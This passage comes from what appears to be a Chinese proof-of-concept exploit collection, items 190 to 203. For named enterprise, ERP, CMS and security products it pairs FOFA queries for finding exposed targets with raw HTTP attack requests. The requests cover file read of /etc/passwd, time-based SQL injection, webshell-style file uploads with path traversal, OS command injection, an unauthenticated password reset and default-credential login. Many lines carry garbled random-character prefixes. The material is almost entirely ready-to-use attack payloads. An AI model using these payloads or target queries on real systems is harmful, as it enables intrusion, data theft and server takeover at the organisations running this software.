+ _, }& _+ [# S% ~6 dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) ]6 Z/ i: v' d0 S: A4 b  HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' [+ J- k. f, d. s5 |4 YAccept-Encoding: gzip, deflate
2 G. \, p- U4 f( ]+ {7 W" w' MAccept-Language: zh-CN,zh;q=0.9
2 ~( w2 m4 m* kConnection: close

( k: x- Z5 M! |: q5 `
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
0 O6 ]2 z3 f0 xPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
; z) i3 r5 H- n) I" SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

7 M* T. B5 B* H. {' f# L: {: @! kpoi=file:///etc/passwd
5 w! V+ X8 ]5 }0 x9 u, k2 I
& M& M6 p% r: E( {
: R8 O/ s. g: ]. ?2 K7 n8 C1 v191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
% s# ^0 ]( A% P7 W% {0 @" C& G* {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* Z/ e$ V" K4 D& z) HContent-Type: application/x-www-form-urlencoded

, P$ X' l' s* [: e/ G) jcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
+ ?6 {, |+ |2 n2 K: ]9 t1 C

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
9 M# p0 B, e6 [3 l$ THost: your-ip
" U7 {7 l) N4 ?+ u1 p- yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# F# v2 Q! X2 i/ v$ l$ XContent-Type: application/x-www-form-urlencoded
5 z5 ~. o( d0 N) T8 ~; x" ~

8 q% {8 r( k# ], a' F7 l% H<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
, N6 ]7 Y7 B; {6 C8 k5 d" Q* }public class AverageHandler : IHttpHandler
8 m9 y! ^: n- e; i; C{
6 F4 H. |" j4 g$ Kpublic bool IsReusable
* R3 r! p) B2 N8 x& ?( Y{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
" h) A2 [! H) U2 _2 v% H3 D{
) l- a( s7 s7 w+ t- O5 c8 rctx.Response.Write("test");
7 I! M4 d0 e* E7 C% \}
}
1 J4 F4 a) S+ H& i, x" _1 f3 X
- [! g$ d3 p- F$ ~
+ R" M: b/ f' c0 J! H: i3 x193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
) f8 W6 f% Y$ q; rGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
$ ~% P; ]3 f7 |; SCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
0 D  N4 [2 }: _5 XUser-Agent: Mozilla/5.0
1 n, J; P4 s% |4 C! C

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
- e1 Q& x  Z: F2 N& f: j  ?: TUser-Agent: Mozilla/5.0
' j+ b4 N  C: _8 n; _/ KAccept-Encoding: gzip, deflate
Accept: */*
& L; E1 S* M3 b( W: v: j' R& DConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

" o5 A: o/ A6 Xparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

; R) c0 N' P! H6 h& j
GET /master/img/config HTTP/1.1
Host:
  \+ ^6 G9 M5 x( r/ KUser-Agent: Mozilla/5.0
$ i) h3 Z+ `* X. |/ C
# Q) J7 v; k- g+ R5 u
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
  N, c8 _" X" |- G- M! e; a
POST /servlet/uploadAttachmentServlet HTTP/1.1
- d9 f# v% B% ?. k5 y: j5 ZHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
( Z3 c% C/ Q+ g4 J7 w. OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 Y# i7 r: J3 w+ Y, x! B  U' TConnection: close
4 h, O6 Q, E9 I6 K, k) I) W6 rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
# ^; X( [: U  A------WebKitFormBoundaryKNt0t4vBe8cX9rZk
) z, B9 V( H4 {7 N7 ]+ `! K; `Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
$ m  {" R" @. _, n7 B------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


$ n/ h( g" x9 y195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
2 ^. J9 L4 q. {/ H7 [FOFA：title=="飞鱼星企业级智能上网行为管理系统
' b$ L; D$ e6 K' D0 l; ~( G4 A/ \1 ~POST /send_order.cgi?parameter=operation HTTP/1.1
& z9 y* W+ s) ]Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
* p& i" {& L0 K9 j9 p( SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
4 `/ _: r( K( J3 MAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
; A1 ?3 J; I) P( a7 P$ ]Content-Type: application/x-www-form-urlencoded
Content-Length: 68
7 G* C- c6 E4 U. G2 F0 x
! V- S6 e8 b# w; }0 k3 g{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
0 |: Z$ S$ r' w8 y# q. o" q
) v+ ?/ \; i# n/ d  m, F6 c  Z
% I7 R% \1 B) H8 Y& p' Y/ _" K196. 河南省风速科技统一认证平台密码重置
: _7 W, \6 i. Z( E8 K3 KFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
2 V7 P% L5 n  O$ Z: G/ APOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
6 C2 Z4 G  n* |. dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
6 ~  M( a. q" h7 e6 @Content-Type: application/json;charset=UTF-8
+ ?, X% l, c- ]5 y' }/ `& {X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
' ?# v3 u( U) R( W& P/ }! }7 r  wConnection: close

7 k+ Q. P& \( X& a{"xgh":"test","newPass":"test666","email":""}



0 t' G1 `) R$ f197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
$ {  z% N4 a! Y; v3 B+ g, R) N

' |1 C6 ~! T7 ?9 P% i
. i: `, j8 D- t: y& Y198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
# E0 _" q2 w8 M( ?GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
& f6 W  M% o; s; r1 {) C/ `Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
7 A, G+ j# [! J/ YAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


& G- V8 {( ?6 j0 e. Z. Q199. cockpit系统assetsmanager_upload接口 文件上传
& d8 H6 O- p  X* H7 H* v
: L" r$ z- j' @1 w1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

0 b) j  u: \6 X2 x响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
+ Y# G# `+ p! ^. j& w
2.使用刚才上一步获取到的jwt获取cookie：

, s3 E% c+ P* c4 k4 ]. X, rPOST /auth/check HTTP/1.1
Content-Type: application/json
7 E' _! |* t/ j+ Z
" w' s' g4 n5 f% t{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
+ A2 I5 g: M( h- n+ I1 g  @  oSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
' [7 H. Y6 @. b6 j$ k0 _Fofa：title="Authenticate Please!"
. [! |5 q# ]3 [4 L$ B6 \$ Z* q6 NPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
- H! y, P5 K% g2 l4 jCookie: mysession=95524f01e238bf51bb60d77ede3bea92
; n2 K3 t% a  j
-----------------------------36D28FBc36bd6feE7Fb3
; ]$ i" @2 a! Q- K! eContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
* o+ a' w, O4 Y, C7 ~Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--

5 K1 b: Z6 L3 W2 L5 x5 z4 w( |
/storage/uploads/tttt.php
* V$ a! W' z, a8 i( }7 Q
- t6 g+ `( y  k0 n% A  @200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
' c  f4 w1 c* J9 S+ k0 B8 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. [0 ]# T. M3 G( N) ]Accept-Language: zh-CN,zh;q=0.9
) M9 ?. B: M; S% F% N% b
( ]2 o2 l: t% l
201. 方正全媒体新闻采编系统 binary SQL注入
2 h8 N2 p6 z, F% tFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
" M' f# Z/ z* m3 v+ X3 fContent-Type: application/x-www-form-urlencoded
2 }$ \3 `3 D/ F* i/ n6 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, H% k. b! W2 J6 d5 mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
* I( `* }) r! \' v
0 p+ s2 A; f% l; |/ x. b
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
, M) ^" |+ n7 u' J% Q" c! n获取__VIEWSTATE和__EVENTVALIDATION值
" L5 ~' s+ }; E( y: b- q$ {GET /User/AccountEdit.aspx HTTP/1.1
$ O% ~3 Y+ H0 i6 x6 UHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
) v* c- J' A# ~* h" T

替换__VIEWSTATE和__EVENTVALIDATION值
: ?  o; j1 @4 s% K- Z- h& _& KPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
. F. @/ b% p+ d9 d" E1 X4 GContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

7 C% ~6 a) W, B" c: L. x% K- i-----------------------------786435874t38587593865736587346567358735687
( M# i, @. Q1 V+ k; R1 @) H" G; dContent-Disposition: form-data; name="__VIEWSTATE"
7 t! q, i' f7 v
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

- h* K9 U2 I, Z" ?( S" p- Y__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
6 V+ ]9 N* k8 vContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
: p  r7 @5 k5 Y
! h7 |; l# y' j0 |( W& [3 d" a1 WHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

9 H7 ^" _4 [, e+ _# ^6 J  k$ G上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
8 T8 ^! L6 f; c3 o! I/ ]
; k9 P) G8 U4 x3 T
-----------------------------786435874t38587593865736587346567358735687
; G% S8 V9 _: y3 ?; F/ J1 ~Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

7 \3 ~0 y9 w8 q7 s4 T
) N' j1 Z- n3 D$ h0 R' C/ C7 k: e+ }-----------------------------786435874t38587593865736587346567358735687--
7 ]# T3 O: \7 u0 n/ c9 I

% ^# x0 f1 w0 _- x" g  B/_data/Uploads/1123.txt
5 H: S( D3 o8 E& ?8 D$ r- p
203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
# Q" }$ U( q) V, O) ?! z' VPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
; \( I  n9 i9 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

% O: a6 C+ U0 J. @/ B9 S------WebKitFormBoundaryt7WbDl1tXogoZys4
$ b$ l, G1 R9 ^- uContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
; k3 [4 z  I9 |) o) ~Content-Type:image/jpeg
; }! f& w; A( z4 S, E
<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--


' N* f7 k" i* t' K/ t2 z: U7 i
% _- x5 N$ j. m# t6 t% ^9 a  P0 c, I

5 E5 v) S- `) \' h* @) ~+ e5 v
, m+ j% E( f! ^) ^; Z5 U! Y! p; r